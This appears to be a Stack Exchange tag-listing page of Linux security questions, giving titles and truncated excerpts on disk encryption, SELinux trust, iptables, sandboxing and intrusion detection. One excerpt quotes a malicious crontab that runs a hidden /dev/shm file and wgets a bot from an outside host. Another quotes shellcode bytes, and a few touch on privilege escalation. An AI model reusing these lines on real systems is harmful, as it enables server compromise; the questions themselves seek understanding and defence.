Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

6
votes
4answers
572 views

Security of different OS

At my work we are given a computer to set up at home so if we ever feel like working from home we can do so. The thing is that whenever it comes to developing for java I always prefer using windows or ...
6
votes
3answers
498 views

Appropriate defense for 404s in my logs - persistent web scans from one region

This seems to be a fairly easy question to figure out, but I wanted to make sure. I've got about a thousand entries on one of my web servers with phpmyadmin in the connection criterion, but as I ...
6
votes
2answers
4k views

How trustworthy is SELinux? [closed]

Given the ongoing leaks concerning mass surveillance and the fact that the NSA is the original developer of SELinux, I'm wondering whether that means that backdoors should be expected in there? As ...
6
votes
2answers
772 views

Is privilege escalation possible when shell is under www user?

So, suppose that someone obtained a shell of a remote machine (of course via Internet). But the (linux) shell is under www user. Would there be any way of trying privilege escalation?
6
votes
2answers
425 views

buffer overflow attack scripts

I saw various different scripts for a buffer overflow attack. Many of the scripts include lines that look like this: char code[] = "\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" ...
6
votes
4answers
1k views

Fastest way to “lockdown” CentOS and have network intrusion detection, firewall, etc up and running?

Are there any proven concepts or "installers" to get up and running based on the best practices securing and locking down a CentOS installation? I'm hoping for an automated tool that would scan the ...
6
votes
2answers
690 views

Can i compare linux user permissions without root access?

I've compromised two Linux user accounts on a RHEL machine (neither of which have root permissions) and I want to determine which account is more 'useful' to me in terms of access and privileges. Is ...
6
votes
2answers
598 views

Filling the disk with random data prior to encryption?

Filling the disk with random data prior to encrypting it will supposedly make it harder for the attacker to perform any cryptanalysis. Most sources seem to state this is because it will be harder for ...
6
votes
3answers
2k views

How to detect Meterpreter and similar malware?

Is it possible to find Meterpreter or similar malware which doesn't modify the hard disk but is only stored in RAM? Most common anti-rootkit software like rkhunter and chkrootkit don't find it.
6
votes
4answers
1k views

Security of the KWallet password encrypting application?

According to http://gaganpreet.in/blog/2013/07/24/kwallet-security-analysis/ , the KWallet password management system is quite weak, it uses key splitting, Blowfish 56, and no salt. The key ...
6
votes
1answer
3k views

loop-aes or dm-crypt for linux hard encryption?

loop-aes and dm-crypt are both used by partman-crypto for linux hard encryption, but dm-crypt needs no patch to kernel and is more supported. dm-crypt keeps it's key on first hard block, is it a ...
6
votes
2answers
154 views

How often is ASLR randomness refreshed, in Linux?

Most Linux distributions now use ASLR for many programs, to randomize the layout of memory. How often is the randomness used for this changed? If I re-run the same program multiple times, will it ...
6
votes
1answer
2k views

Using TPM for full disc encryption?

E.g.: Can I make a better full disc encryption with e.g.: LUKS using the TPM? How?
6
votes
2answers
329 views

How a malware executes remote payload

Let's assume a malware was installed (on a UNIX-based platform) with some social engineering tricks. The original installed code itself may be benign, but the only malicious activity is that the ...
6
votes
2answers
3k views

Issues with preserving $HOME on sudo

On Ubuntu, the default behavior with sudo is to preserve the user's $HOME environment variable, which means that sudo will be able to read the dot files in the user's home directory. I enjoy this ...
6
votes
3answers
252 views

How to sandbox Iceweasel (Firefox) on Debian? [closed]

Are there any tools for sandboxing Iceweasel (Firefox) on Debian systems? I'm mostly interested in tools distributed by Debian. (An equally trustworthy source would be second best.) (I suppose that ...
6
votes
2answers
206 views

Process authentication for Linux

Is there any possibility to authenticate a running process in Linux to be sure that this is the original/right one? I know that an Linux operating system is only that secure like the way you use it. ...
6
votes
2answers
1k views

Breaking out of a strict linux sandbox running virtually under windows: do the linux-sandbox access control policies even matter?

I am developing an application which will run untrusted code. I have been designing it for linux, thinking that I can just run it in a virtual machine on windows when the need arises. The linux ...
5
votes
4answers
20k views

Tips for a secure iptables config to defend from attacks. (client side!)

Own examples: ############### # KERNEL PARAMETER CONFIGURATION # PREVENT YOU SYSTEM FROM ANSWERING ICMP ECHO REQUESTS echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # DROP ICMP ECHO-REQUEST ...
5
votes
4answers
169 views

software to keep a list of IP that try to access ssh over a set of rules and feasibility

i'm interested in software or set of scripts to keep a lists of filtered IP that attempt to brute-force ssh, and to label an IP as brute-forcing i would add some checks like: one attempt to log as ...
5
votes
3answers
2k views

How to prevent BadUSB attacks on linux desktop

What can I do to protect my linux laptop from BadUSB attacks as described here? Perhaps writing an appropriate apparmor profile would help?
5
votes
4answers
6k views

Monitoring system calls (in a reliable and secure way)

It there a reliable method of “monitoring” system calls under Linux? There is strace for example to monitor system calls and signals. Is there a way for a process to dodge out of strace? If yes, is ...
5
votes
3answers
4k views

What key does Linux use when storing user passwords?

Linux typically stores user names and password hashes in /etc/passwd or /etc/shadow. Now lets say I have an old CentOS distro and I want to attempt to recover a user's password (it's in a legal, ...
5
votes
3answers
869 views

Making passwd/shadow files more secure

The passwd/shadow files in a unix-like OS contain sensitive info such as a user's password. In addition those files aren't necessarily secured: with a live CD we can access those files on the hard ...
5
votes
5answers
547 views

HOWTO : Email encryption in a browser

I have read about encryption and I think it's a good idea for me to encrypt my email. I run ubuntu 12.10 and use Firefox for browsing. In my quest for learning how to use gmail/hotmail to send and ...
5
votes
2answers
2k views

Preventing Attacks Scanning for PHPMyAdmin etc

I have a Linux web server running Rails and each time I check the Nginx logs I find attempts to access PHPMyAdmin, database and admin directories such as this: 190.196.161.110 - - ...
5
votes
3answers
390 views

What are the security considerations for setting up a basic security testing environment?

I only have 2 spare machines and both are very old, but I really want to set up an environment so that I can start practicing security. One of these machines has a Pentium 4 processor and 512 MB RAM; ...
5
votes
2answers
4k views

Ubuntu LVM Encryption

I recently installed Kubuntu and I noticed the option for having an encrypted LVM. The behavior suggests it's full disk encryption since I need to put in a password before I can boot. This article and ...
5
votes
2answers
584 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
5
votes
3answers
2k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
5
votes
3answers
657 views

Increase security without using “dynamic” kernel modules?

I recently read that NOT using loadable kernel modules could increase security. In my interpretation this consist about recomplying the kernel with only built-in kernel modules. (how to disable ...
5
votes
4answers
287 views

Is Encrpyting Home Sufficient?

I currently have a fully encrypted Windows System, and I'm looking at switching to Ubuntu. Is encrypting my home directory (with ecryptfs) sufficient? On windows this would be problematic due to ...
5
votes
1answer
157 views

Hidden directory with 0x0d0x0a

Someone has hidden a directory to fool policies on a FTP account. The directory name was 0x0d0x0a. How did the user create a folder with that name? The directory is nearly invisible with ls but ...
5
votes
3answers
692 views

Phishing virus found on server

I recently had a call from BELL concerning a virus on our Linux ( Debian ) Server. Apparently Google emailed our client about an Italian Database found on our server that was doing phishing. They ...
5
votes
3answers
132 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
5
votes
3answers
330 views

How I can prove that SSH attacks are not from my application?

My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ...
5
votes
2answers
1k views

Securing USB flash drive on linux

We have a industrial system(running on linux) with a USB port. We have the USB port only for copying certain data. Other than this we don't want the USB drive to contain any other executables or ...
5
votes
2answers
270 views

Securing data on laptop's hdd

I was wondering which is the best way to secure/encrypt data in the hard disk on a laptop that runs Ubuntu Oneiric? Setting LVM encryption? I am mostly concerned about having my laptop lost or what ...
5
votes
1answer
840 views

Does Fedora 15 still use suid bits?

I heard that Fedora 15 will not use suid bits. Is that true? Is the suid bit a security design bug?
5
votes
1answer
110 views

How is using acces() opening a security hole?

The man page for access(2) tells : Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the ...
5
votes
2answers
3k views

Pitfalls of SSD encryption

Encrypting an SSD is a process that is sometimes warned should be done with caution. E.g. http://en.gentoo-wiki.com/wiki/DM-Crypt_with_LUKS mentions how the SSD may keep hidden space used for wear ...
5
votes
2answers
5k views

How to secure a dedicated linux server running a LAMP stack for commercial E-commerce use

To be more specific, I would like to get some help, either through a tutorial or through a book, on how to configure an apache server to run securely and minimize the risks for commercial use. ...
5
votes
4answers
1k views

What are the most common files to check with File integrity monitoring software?

I have a file integrity monitoring suite and in it I have to select specific files and folders for it to monitor. There are some obvious services that I want monitored like our web-server. Is there a ...
5
votes
2answers
677 views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
5
votes
2answers
935 views

Linux forensics questions (ssh config, user activity)

I'm a linux noob and have an assignment I'm a bit stumped on... We're given VirtualBox (vdi) images and raw files for the state of a linux server at 3 different dates. We're supposed to answer: ...
5
votes
2answers
922 views

How can I use nmap to distinguish between a normal linux machine and an android device?

According to this link: here, nmap 5.2 onwards is now supposed to detect android smartphones. I am using nmap 6.01 but it only identifies android devices as running a linux kernel.
5
votes
2answers
2k views

Best way to allow sudo access when using ssh keys

Probably a simple question, but I can't seem to find any actual best practices out there. I manage a handful of servers and I am really getting sick of tracking my passwords in pwsafe. I've been ...
5
votes
3answers
3k views

Wine or sandboxie as sandboxes

I'm looking for a sandbox for Windows. I've looked at sandboxie but I don't know if it delivers what it promises. Is it actually safer to run programs inside sandboxie ? I know a full-blown VM could ...
5
votes
1answer
714 views

Linux wireless hacking book

I am looking for recommendations on a good wireless hacking book. I would like something more focused towards the defensive, but a healthy knowledge of both would be great. I would also need it to go ...
5
votes
1answer
118 views

Testing a chroot environment for privilege escalation vulnerabilities

I'm looking for holes in my current implementation of a chroot jail that I have implemented for a group of users. Is there anything I can do better here? I utilized the following packages: RHEL6 ...